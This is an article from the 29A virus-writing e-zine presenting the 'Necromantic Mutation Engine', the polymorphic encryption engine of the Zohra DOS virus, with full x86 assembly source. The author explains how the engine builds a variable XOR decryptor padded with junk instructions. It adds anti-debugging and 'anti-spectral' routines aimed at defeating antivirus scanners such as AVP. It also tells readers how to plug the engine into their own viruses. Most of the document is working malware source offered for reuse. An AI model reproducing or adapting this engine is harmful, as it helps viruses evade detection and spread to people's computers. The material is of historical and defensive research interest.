Copy Link
Add to Bookmark
Report
29A Issue 02 02 06
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; Û²±° The Necromantic Mutation Engine ( NME ) °±²Û
;
; ( used in Zohra virus )
;
; by Wintermute/29A
;
;
; When I started writing this article, I didn't know how to do it; the en-
; gine is full commented in my virus, Zohra, and besides has some things that
; make it nearly impossible to get it out from the virus.
;
; So, I've made a couple things in this article to make it interesting :)
; First, I'm explaining how it works, and how I made it; just thinking about
; it and wondering how would I do this and that ( hope that will help you
; writing your own poly engine if you haven't done one yet... ). After talk-
; ing about that, I'm giving some guidance about how to use the engine, be-
; cause it has some particularities :)
;
;
; 1.- How is this poly engine created ?
;
; What should a poly engine have ? A good poly engine shouldn't just make
; some crap instructions as "cli-sti-lahf-nop" and place them among real ins-
; tructions; a middle-interested user would easily detect something's going
; wrong in that file when he finds 15 useless one byte instructions, and then
; would detect it. So, a list with some instructions/opcodes was made, in or-
; der to use some more kinds of instructions.
;
; Zohra has five groups; one byte instructions, two byte ones, three, four
; bytes, and long routines. Long routines are anti-debugging or anti-spectral
; ones, for example.
;
; So, the idea was to put that instructions among the decryptor ones. That
; decryptor instructions are different in length; three, four bytes... so it
; would last some bytes checking each one and copying it. So, I divided the
; decryptor instructions block in six blocks respectively, which were formed
; by five bytes each one, this way:
;
;
; > mov bp,0200h
; > db 90h,90h ; variable ( junk gen )
;
; > mov si,cs:word ptr [encryptvalue+bp]
;
; > mov cx,virus_size/2
; > db 90h,90h ; variable
;
; > mov di,bp
; > db 90h,90h,90h ; variable
;
; > xor word ptr cs:[di],si
; > db 90h,90h ; variable ( again ! )
;
; > inc di
; > inc di
; > loop loop_dec
; > db 90h ; variable
;
;
; As you see, there are "blanks" in the blocks; that means more fixed by-
; tes, but of course the instructions aren't placed this way on the engine:
; first thing the poly engine does is copying these instructions to a buffer
; in memory and filling the blanks with random bytes from the instruction ge-
; nerators; for example, if there were a three byte blank, the engine would
; fill it with a two byte instruction and a one byte instruction, or with a
; with a three byte instruction, etc.
;
; As you may see, done this there are still many fixed bytes, the real de-
; cryptor instructions. Any AVer could put in his hex searcher something like
; "F7????4D????4E" and easily detect it.
;
; So, next thing in the poly engine are some routines which change the de-
; cryptor instructions: randomly, SI is used instead of DI, the way to load
; CX changes, the "inc di/loop" changes on a "dec cx/jnz xxx", etc. Also, the
; three SI/DI/CX setting blocks are placed randomly on the decryptor ( it
; doesn't matter their order ).
;
; After making all the changes and setting the decryptor instructions block
; the poly starts working in a zone between the first and the second copy of
; the virus; when loading in memory, it makes this: copies the virus, then
; places a 512 byte buffer, and copies the virus again. The second copy never
; gets executed, it's encrypted by the first one, and the decryptor is made
; between them, so when copying to a file it will grow "512 bytes+virus"...
;
; So, ES:DI points to the 512 bytes buffer to write on it, and a random ge-
; nerator gets running, placing 1 to 4 byte instructions, long routines, or
; the decryptor instructions. Also, the engine checks some things; for exam-
; ple, divides by 6 the total size of the decryptor ( 512 bytes ) and checks
; this with the remaining decryptor instruction blocks, so all the instruc-
; tions are in the decryptor ( and not very near to each other ). Also checks
; the distance between the loop/jz and the xor at the end so it doesn't get
; out of range, and also checks the last bytes to finish the decryptor; for
; example, if there are only three bytes remaining of decryptor, the engine
; will put a three byte instruction, etc.
;
; Finally,... why using long routines ( as an antidebugging one ) ? To a-
; void one couple things. The antidebugging routine is especially made for
; AVP, which tries to decrypt the virus ( and makes it ! ;) because of its
; heuristic method, which fails when there are antidebugging routines and the
; virus isn't decrypted yet ( it decrypts viruses and searches for things li-
; ke mov ax,3d02h/int21h ) };)
;
; About the spectral routines, they're made for one of the analysis which
; antivirus software use to detect poly viruses; they watch the instructions
; in the decryptor, and if all of them seem to be generated by that engine,
; they'll detect the virus. Let's imagine, for example, the "Shitty Mutator"
; uses three one byte instructions to make junk. The antivirus software would
; have these instructions and watch the -e.g.- 256 byte decryptor; if all the
; instructions placed in there are the decryptor itself ones or the three
; different one byte ones, the antivirus tells us a SM based virus is there.
; The method used to avoid it is fairly simple: a check, after a conditional
; jump that is always executed, and then two junk random bytes :)
;
;
; 2.- How to use the engine in your own virus ( hey, you, at least give
; me some credits in it ! :)
;
; About the values you have to set; first, there's a defined value at the
; end of the engine called "encryptvalue" which is the number which will be
; used to encrypt the virus with xor encryption. First, you'll have to en-
; crypt the second copy of your virus, and put your word length encryption
; key into that value called "encryptvalue" ( which is used for the xor ).
;
; "Offset_second" is the virus_length plus 200h, the decryptor length; this
; way, the values changed are changed in the decryptor and not in the non-co-
; pied virus ( wonder why ? ) :-)
;
; "Virus_size" is your virus lenght in bytes.
;
; Of course, you can change the decryptor length, but be careful with that.
; That value is set on "restantes_poly", and is 200h normally; if you change
; this, divisions made by the engine to check if it has to put a decryptor
; instruction on the generator code will fail. So, if you're going to change
; the length, check also the divisions at the zone called "centro_poly" ( po-
; ly_center in spanish ).
;
; Another things to set ?... erhm... not. ES:DI or DS:SI set stuff for you;
; it's generated at the end of the first virus copy, just at "virus_size+0h",
; uhm... ah, and it supposes you to have another copy of the virus, of cour-
; se. Come on, it's so easy to get it working when somebody else has written
; it four you first ! ;PPP
;
; Ah, and finally... you'll have to copy the decryptor instructions block
; at the first bytes of your TSR, at the first copy; the instructions in tho-
; se first bytes are useful, cause they're not copied even not executed, so
; they can be overwritten by the decryptor ones.
;
;
; ***************************************************************************
; THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
; The ants are in the sugar, the muscles atrophied
; This first part sets the decryptor variables ( loop pointer, remaining
;instructions and current instruction )
;
; The loop pointer tells where to loop to make the xor "virus_size"
;times, remaining instructions is 200h-done_instructions, and current
;instruction is about which of the six decryptor instructions blocks has
;to be written next.
go_here:
mov word ptr [bytes_referencia],0h
mov word ptr [restantes_poly],200h ; n.instr decryptor
mov byte ptr [numero_instruccion],6h ; n.util instrs
; This first part of the poly engine fills the blanks of the six blocks
;( 5 bytes each ) in which the decryptor instructions are divided on with
;random instructions. As you see, three blanks can be filled with a three
;bytes instructions, with a two bytes one and a one byte one or with three
;one byte instructions
push cs cs
pop ds es
mov di,3h
mov cx,3
two_times: call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one: call inst_1
inc di
call inst_1
next_inst_gen: cmp di,0eh
jnz @di0dh
mov di,017h
jmp @loopt
@di0dh: mov di,0dh
@loopt: loop two_times
mov di,011h
mov cx,2
two_times_otavez:
call aleatorio
and ah,1
jz unod1y1d2
and al,1
jz tresd1
call inst_3
jmp next_one_otave
tresd1:
call inst_1
inc di
call inst_1
inc di
call inst_1
jmp next_one_otave
unod1y1d2: and al,1
jz unod2y1d1
call inst_1
inc di
call inst_2
jmp next_one_otave
unod2y1d1:
call inst_2
inc di
call inst_1
next_one_otave:
mov di,01dh ; The last
call inst_1
lea di,instrucciones
xor si,si
mov cx,instrsize
rep movsb
; This part exchanges 50% times SI and DI registers, which are used in
;the decryptor instructions
call aleatorio
and ah,1
jz dontchangeem
mov byte ptr [instrucciones+7h],0beh
mov byte ptr [instrucciones+10h],0f5h
mov word ptr [instrucciones+15h],03c31h
mov word ptr [instrucciones+19h],04646h
dontchangeem:
; Depending on a random value, CX is obtained by the normal way ( mov cx, )
; or with a mov dx,register, mov cx,dx
call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
mov byte ptr [instrucciones+0ah],0bbh
mov word ptr [instrucciones+0dh],0d989h
jmp cx_acabado
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+0ah],0b8h
mov word ptr [instrucciones+0dh],0c189h
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+0ah],0bah
mov word ptr [instrucciones+0dh],0d189h
cx_acabado:
; To finish preparing the decrypting routine, we copy the instructions
;that modify SI, DI and CX, and put them randomly; the first time, I
;tried making this pushing and popping instructions... stack overflow ! :-o
push dx
mov byte ptr [variable_inst],00000111b
mov cx,015d ; Copy the 15 bytes of the
lea si,instrucciones+5 ;instructions to the uuencode
lea di,buffer ;buffer ( unused )
push di
rep movsb
pop si
ver_si_esta_hecho:
mov al,byte ptr [variable_inst]
mov dl,al ; Then, restore them in a
or al,al ;random order
jz acabado_pop_inst
call aleatorio
and ah,1
jz popfirst
and al,1
jz popsecond
and dl,100b ; First instruction ( five
jz ver_si_esta_hecho ;bytes )
and byte ptr [variable_inst],11111011b
lea di,instrucciones+0fh
jmp popfivebytes
popfirst:
and dl,1b ; Second one
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111110b
lea di,instrucciones+0ah
jmp popfivebytes
popsecond:
and dl,10b ; Third
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111101b
lea di,instrucciones+5h
popfivebytes:
mov cx,5d ; Replace
rep movsb
jmp ver_si_esta_hecho
acabado_pop_inst:
pop dx
; The modification of the instructions of the decryptor finishes here with
;all changes made: the originals are kept at the beggining of the virus in
;memory. The posible "final loop" exchange is made when writing the
;decryptor
; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.
mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions number
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks if finished
sigamos_decriptor:
cmp cx,@getmcb-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr: ; If we have 1, 2 or 3 bytes remaining
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3
mov cx,55h ; Do we need to put one of the decryptor
div cl ;instructions ? This is the div to change
inc al ;if you change the decryptor length
cmp byte ptr[numero_instruccion],al
ja @@call_decryptgen
cmp byte ptr[numero_instruccion],1
jnz @continuemos ; To avoid the loop from going
mov ax,di ;out of range
sub ax,word ptr [loop_site]
cmp ax,70h
jae @@call_decryptgen
@continuemos:
call aleatorio ; randomly, place 3 bytes instr,
and ah,1 ;2, routine...
jz @@trestipos
and al,1
jz @@call_inst_4
@@call_inst_1: call inst_1
dec word ptr [restantes_poly]
inc di
jmp centro_poly
@@call_inst_4: call inst_4
add di,4
sub word ptr [restantes_poly],4
jmp centro_poly
@@trestipos: cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3: call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec: and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2: call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1: jmp centro_poly
@@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine
acabamos_decryptor:
ret
instrsize equ instr_end-instr_start
instr_start label byte
; Decryptor instructions list; divided into five-bytes blocks.
instrucciones:
mov bp,0200h
db 90h,90h ; variable ( junk gen )
mov si,cs:word ptr [encryptvalue+bp]
mov cx,virus_size/2
db 90h,90h
mov di,bp
db 90h,90h,90h
loop_dec:
xor word ptr cs:[di],si
db 90h,90h
inc di
inc di
loop loop_dec
db 90h
instr_end label byte
;*******************************************
; Decryptor values and data
;--------------------
Restantes_poly: dw 200h ; Remaining instructions counter
Numero_instruccion: db 6 ; Instruction number
num_aleat: dw 1250h ; Aleatory number counter
variable_inst: db 7h ; 0111b
loop_site: dw 0h ; Looping allocation Offset
bytes_referencia: dw 0h ; Reference for instructions
; This returns a random number in AX after making some operations.
aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2: ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in AL, the less
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret
; Instructions generators: the required instructions are generated and
;copied in ES:DI, which points to the decryptor in memory
; Main generator: copies a decryptor instruction in ES:DI, with special
;care for the final loop
gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h
mov cx,5 ; copy the instruction
rep movsb
sub word ptr[restantes_poly],5h ; remaining instrs
@vasmosnos: ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya
@preparar_loop:
mov ax,0fch
mov si,di
mov cx,word ptr [loop_site]
sub si,cx
sub ax,si
mov cx,word ptr[num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+01ch],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+01bh],7549h
dec ax
mov byte ptr [instrucciones+01dh],al
jmp @gen_ya
; Generator ----> One byte length instruction generator
inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1: and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2: call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2: and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2: and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2: call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12: mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13: mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11: mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12: mov byte ptr es:[di],0F8h ; clc
ret
; Generator ----> Two byte length instructions
inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret
@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret
@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio
and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret
; Generator ----> Three byte long instructions
inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax: and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret
; Generator ----> Four bytes instructions
inst_4: call aleatorio
mov si,ax
inc si
jz inst_4
dec si
and ah,1
jz @q_seg_parte
cbw
and ah,1
jz @q_movdxobx
and al,1
jz @q_subbxfuck
mov word ptr es:[di],019b4h ; Get drive function
mov word ptr es:[di+2],021cdh
ret
@q_subbxfuck: mov word ptr es:[di],0eb81h
mov word ptr es:[di+2],si
ret
@q_movdxobx: and al,1
jz @q_movdx_mem
mov word ptr es:[di],01e8bh
mov word ptr es:[di+2],si
ret
@q_movdx_mem: mov word ptr es:[di],0168bh
mov word ptr es:[di+2],si
ret
@q_seg_parte: cbw
and ah,1
jz @q_seg_sub
mov word ptr es:[di],0c281h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_4
inc byte ptr es:[di+1]
@nosvamos_4: ret
@q_seg_sub: mov word ptr es:[di],0ea81h
mov word ptr es:[di+2],si
and al,1
jz @nosvamos_41
inc word ptr es:[di+1]
@nosvamos_41: ret
; Generator ----> More than 4 bytes routines
inst_5: call aleatorio ; Anti-spectral routine,
and ah,1 ;generates a random value
jz @c_seg_parte ;after a cmp ax,ax/jz xxx
and al,1 ;that will never be executed:
jz @c_seg_prim ;"spectral" is a way of
mov word ptr es:[di],0c033h ;finding polymorphic viruses
mov word ptr es:[di+2],0274h;that checks for instructions
call aleatorio ;that aren't in the poly
mov word ptr es:[di+4],ax ;engine; if the instructions
mov si,06h ;are all of a fixed range,
ret ;the spectral identifies the
;poly engine.
@c_seg_prim:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret
@c_seg_parte: and al,1
jz @c_seg_seg ; Anti-spectral
mov word ptr es:[di],0ffb8h ; mov ax,0ffffh
mov word ptr es:[di+2],040ffh ; inc ax
mov word ptr es:[di+4],0274h ; jz seguimos
call aleatorio ; ( 2 crap bytes )
mov word ptr es:[di+6],ax
mov si,08h
ret
@c_seg_seg:
lea si,ant_debug ; Antidebugging, the routine
mov cx,@getmcb-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret
random_number:
ret
encryptvalue: dw 0ffh
wintermute: db 'The Necromantic Mutation Engine by Wintermute/29A',0